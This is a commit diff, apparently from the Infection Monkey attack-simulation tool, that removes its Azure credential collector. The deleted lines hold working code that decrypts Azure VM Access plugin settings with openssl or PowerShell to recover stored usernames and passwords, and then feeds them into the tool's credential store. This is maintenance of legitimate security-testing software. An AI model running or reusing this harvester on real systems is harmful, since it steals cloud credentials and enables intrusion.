Agent, Common: remove azure credential collector

monkey/common/common_consts/system_info_collectors_names.py

@@ -3,4 +3,3 @@ HOSTNAME_COLLECTOR = "HostnameCollector"
 ENVIRONMENT_COLLECTOR = "EnvironmentCollector"
 PROCESS_LIST_COLLECTOR = "ProcessListCollector"
 MIMIKATZ_COLLECTOR = "MimikatzCollector"
-AZURE_CRED_COLLECTOR = "AzureCollector"

monkey/infection_monkey/example.conf

@@ -11,7 +11,6 @@
   "current_server": "192.0.2.0:5000",
   "alive": true,
   "collect_system_info": true,
-  "extract_azure_creds": true,
   "should_use_mimikatz": true,
   "depth": 2,
 

monkey/infection_monkey/system_info/__init__.py

@@ -4,9 +4,7 @@ from enum import IntEnum
 
 import psutil
 
-from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR
 from infection_monkey.network.info import get_host_subnets
-from infection_monkey.system_info.azure_cred_collector import AzureCollector
 from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler
 
 logger = logging.getLogger(__name__)
@@ -63,7 +61,6 @@ class InfoCollector(object):
     def get_info(self):
         # Collect all hardcoded
         self.get_network_info()
-        self.get_azure_info()
 
         # Collect all plugins
         SystemInfoCollectorsHandler().execute_all_configured()
@@ -77,35 +74,3 @@ class InfoCollector(object):
         """
         logger.debug("Reading subnets")
         self.info["network_info"] = {"networks": get_host_subnets()}
-
-    def get_azure_info(self):
-        """
-        Adds credentials possibly stolen from an Azure VM instance (if we're on one)
-        Updates the credentials structure, creating it if necessary (compat with mimikatz)
-        :return: None. Updates class information
-        """
-        # noinspection PyBroadException
-        try:
-            from infection_monkey.config import WormConfiguration
-
-            if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes:
-                return
-            logger.debug("Harvesting creds if on an Azure machine")
-            azure_collector = AzureCollector()
-            azure_creds = azure_collector.extract_stored_credentials()
-            for cred in azure_creds:
-                username = cred[0]
-                password = cred[1]
-                if username not in self.info["credentials"]:
-                    self.info["credentials"][username] = {}
-                # we might be losing passwords in case of multiple reset attempts on same username
-                # or in case another collector already filled in a password for this user
-                self.info["credentials"][username]["password"] = password
-                self.info["credentials"][username]["username"] = username
-            if len(azure_creds) != 0:
-                self.info["Azure"] = {}
-                self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds]
-        except Exception:
-            # If we failed to collect azure info, no reason to fail all the collection. Log and
-            # continue.
-            logger.error("Failed collecting Azure info.", exc_info=True)

monkey/infection_monkey/system_info/azure_cred_collector.py

@@ -1,131 +0,0 @@
-import glob
-import json
-import logging
-import os.path
-import subprocess
-import sys
-
-from common.utils.attack_utils import ScanStatus
-from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
-from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
-
-logger = logging.getLogger(__name__)
-
-
-class AzureCollector(object):
-    """
-    Extract credentials possibly saved on Azure VM instances by the VM Access plugin
-    """
-
-    def __init__(self):
-        if sys.platform.startswith("win"):
-            self.path = (
-                "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
-            )
-            self.extractor = AzureCollector.get_pass_windows
-        else:
-            self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
-            self.extractor = AzureCollector.get_pass_linux
-        self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
-
-    def extract_stored_credentials(self):
-        """
-        Returns a list of username/password pairs saved under configuration files
-        :return: List of (user/pass), possibly empty
-        """
-        results = [self.extractor(filepath) for filepath in self.file_list]
-        results = [x for x in results if x]
-        logger.info("Found %d Azure VM access configuration file", len(results))
-        return results
-
-    @staticmethod
-    def get_pass_linux(filepath):
-        """
-        Extract passwords from Linux azure VM Access files
-        :return: Username, password
-        """
-        linux_cert_store = "/var/lib/waagent/"
-        try:
-            json_data = json.load(open(filepath, "r"))
-            # this is liable to change but seems to be stable over the last year
-            protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
-            cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][
-                "protectedSettingsCertThumbprint"
-            ]
-            base64_command = """openssl base64 -d -a"""
-            priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
-            b64_proc = subprocess.Popen(
-                base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
-            )
-            b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
-            decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
-            decrypt_proc = subprocess.Popen(
-                decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
-            )
-            decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
-            decrypt_data = json.loads(decrypt_raw)
-            T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
-            T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send()
-            return decrypt_data["username"], decrypt_data["password"]
-        except IOError:
-            logger.warning("Failed to parse VM Access plugin file. Could not open file")
-            return None
-        except (KeyError, ValueError):
-            logger.warning("Failed to parse VM Access plugin file. Invalid format")
-            return None
-        except subprocess.CalledProcessError:
-            logger.warning(
-                "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
-            )
-            return None
-
-    @staticmethod
-    def get_pass_windows(filepath):
-        """
-        Extract passwords from Windows azure VM Access files
-        :return: Username,password
-        """
-        try:
-            json_data = json.load(open(filepath, "r"))
-            # this is liable to change but seems to be stable over the last year
-            protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
-            username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][
-                "UserName"
-            ]
-            # we're going to do as much of this in PS as we can.
-            ps_block = ";\n".join(
-                [
-                    '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
-                    "Out-Null",
-                    '$base64 = "%s"' % protected_data,
-                    "$content = [Convert]::FromBase64String($base64)",
-                    "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
-                    "$env.Decode($content)",
-                    "$env.Decrypt()",
-                    "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
-                    "Write-Host $utf8content",  # we want to simplify parsing
-                ]
-            )
-            ps_proc = subprocess.Popen(
-                ["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
-            )
-            ps_out = ps_proc.communicate(ps_block)[0]
-            # this is disgusting but the alternative is writing the file to disk...
-            password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1]
-            password = json.loads(password_raw)["Password"]
-            T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
-            T1064Telem(
-                ScanStatus.USED, "Powershell scripts used to extract azure credentials."
-            ).send()
-            return username, password
-        except IOError:
-            logger.warning("Failed to parse VM Access plugin file. Could not open file")
-            return None
-        except (KeyError, ValueError, IndexError):
-            logger.warning("Failed to parse VM Access plugin file. Invalid format")
-            return None
-        except subprocess.CalledProcessError:
-            logger.warning(
-                "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
-            )
-            return None

monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py

@@ -14,7 +14,6 @@ class ConfigSchemaPerAttackTechnique:
                     "T1003": {
                         "System Info Collectors": [
                             "Mimikatz collector",
-                            "Azure credential collector"
                         ]
                     }
                 }